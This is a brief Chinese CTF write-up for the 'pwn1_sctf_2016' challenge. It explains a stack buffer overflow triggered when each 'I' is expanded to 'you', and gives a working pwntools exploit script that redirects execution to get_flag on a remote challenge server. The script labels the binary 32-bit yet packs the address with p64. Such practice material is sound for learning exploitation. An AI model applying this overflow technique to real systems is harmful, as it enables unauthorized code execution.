0x01
拿到文件先检查一下
32位程序
开启了NX保护
IDA静态分析一下
分配的s空间为60,限制输入32,乍一看是不会造成栈溢出的,但是下面有一个字符替换,就是输入I会被替换成you。I是一个字符,you是三个字符,那么我们可以输入20个I(满足32的限制),那么这20个I,最终被替换成了60个字符,从而造成溢出
0x02
exp:
from pwn import *
filename = 'pwn1_sctf_2016'
e = ELF(filename)
get_flag = e.symbols['get_flag']
HOST = 'node3.buuoj.cn'
PORT = 25788
content = 0
def main():
try:
if content == 1:
p = process(filename)
else:
p = remote(HOST,PORT)
except:
print("[!]The content is error")
payload = b'I' * 20 + b'a' * 4 + p64(get_flag)
p.sendline(payload)
p.interactive()
main()
执行结果:
得到flag